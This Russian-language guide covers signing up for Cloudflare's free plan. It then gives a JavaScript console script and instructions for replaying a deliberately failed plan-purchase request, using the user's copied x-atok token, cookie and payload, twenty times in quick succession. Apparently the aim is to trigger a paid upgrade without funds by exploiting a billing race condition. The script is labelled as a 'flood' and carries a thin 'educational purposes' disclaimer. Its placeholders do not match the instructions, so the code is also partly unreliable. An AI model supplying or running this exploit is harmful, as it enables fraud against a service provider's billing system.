Получите бесплатный план Cloudflare
Cloudflare предлагает щедрый бесплатный план, идеально подходящий для личных сайтов и небольших проектов. Вот как начать:
- Регистрация: Перейдите на официальный сайт Cloudflare и создайте аккаунт. сайт Cloudflare
- Добавьте свой сайт: Введите домен вашего сайта. Cloudflare проведет вас через процесс.
- Выберите бесплатный план: Когда будет предложено, выберите опцию "Бесплатный" план.
- Обновите DNS-записи: Cloudflare предоставит новые серверы имен (nameservers). Обновите их в настройках вашего доменного регистратора. Распространение может занять время.
- Настройте параметры: После активации изучите панель управления Cloudflare для настройки SSL, безопасности и производительности.
Использование вашего скрипта автоматизации
Этот скрипт автоматизирует отправку нескольких POST-запросов к эндпоинту Cloudflare.
Важное замечание: Этот скрипт предназначен для образовательных целей, для понимания сетевых запросов и автоматизации браузера. Убедитесь, что ваше использование соответствует Условиям обслуживания Cloudflare. Неправомерное использование, такое как чрезмерные запросы, которые могут быть интерпретированы как атака типа "отказ в обслуживании", может привести к ограничению скорости или приостановке действия учетной записи. Используйте ответственно.
Обзор скрипта
Скрипт многократно отправляет определенный HTTP POST-запрос, включая пользовательские заголовки и полезную нагрузку (payload), имитируя взаимодействие браузера с бэкендом Cloudflare.
Скрипт
const url = 'Headers'; const headers = { 'content-type': 'application/json', 'accept': '*/*', 'accept-encoding': 'gzip, deflate, br, zstd', 'accept-language': 'ru-RU,ru;q=0.7', 'origin': 'https://dash.cloudflare.com', 'referer': 'https://dash.cloudflare.com/', 'sec-ch-ua': '"Not(A:Brand";v="99", "Brave";v="133", "Chromium";v="133")', 'sec-ch-ua-mobile': '?0', 'sec-ch-ua-platform': '"Windows"', 'sec-fetch-dest': 'empty', 'sec-fetch-mode': 'cors', 'sec-fetch-site': 'same-origin', 'sec-gpc': '1', 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36', 'x-atok': 'Request Headers', 'x-cross-site-security': 'dash', 'cookie': 'cookie' }; const payload = { // Перейдите на вкладку 'Payload' или... }; const delay = ms => new Promise(res => setTimeout(res, ms)); (async () => { for (let i = 0; i < 20; i++) { fetch(url, { method: 'POST', headers, body: JSON.stringify(payload) }) .then(res => console.log(`Flood num ${i}: ${res.status}`)) .catch(err => console.error(`Flood num ${i} exited:`, err)); await delay(100); } console.log("All reqs sended. Reload page"); })();
Как настроить и использовать
- Перейдите в панель Cloudflare: Войдите в свою панель управления Cloudflare и выберите нужный домен.
- Откройте инструменты разработчика: В вашем браузере откройте инструменты разработчика (обычно клавишей F12).
- Перейдите на вкладку 'Network' (Сеть): В инструментах разработчика выберите вкладку 'Network'.
- Спровоцируйте ошибку покупки плана: В панели Cloudflare попытайтесь совершить действие, например, покупку/обновление плана, чтобы намеренно вызвать ошибку (например, из-за 'недостатка средств'). Это поможет изолировать целевой сетевой запрос.
- Найдите запрос 'append': На вкладке 'Network' найдите POST-запрос, сгенерированный во время ошибки. Он часто содержит 'append' в URL-адресе или относится к обновлениям подписки.
- Скопируйте данные в скрипт:
- URL запроса (const url): На вкладке 'Headers' (Заголовки) запроса скопируйте 'Request URL'. Вставьте его в скрипт вместо 'your request url from append'.
- Заголовки (объект headers):
'x-atok':В 'Request Headers' найдите и скопируйте значение 'x-atok'.'cookie':Найдите и скопируйте всё значение 'cookie'. Это конфиденциальные данные; обращайтесь с осторожностью.
- Полезная нагрузка (const payload): Перейдите на вкладку 'Payload' или 'Request Body'. Скопируйте необработанные JSON-данные и вставьте их в скрипт вместо комментария-плейсхолдера.
- Выполните скрипт в консоли: Переключитесь на вкладку 'Console' в инструментах разработчика, вставьте настроенный скрипт и нажмите Enter.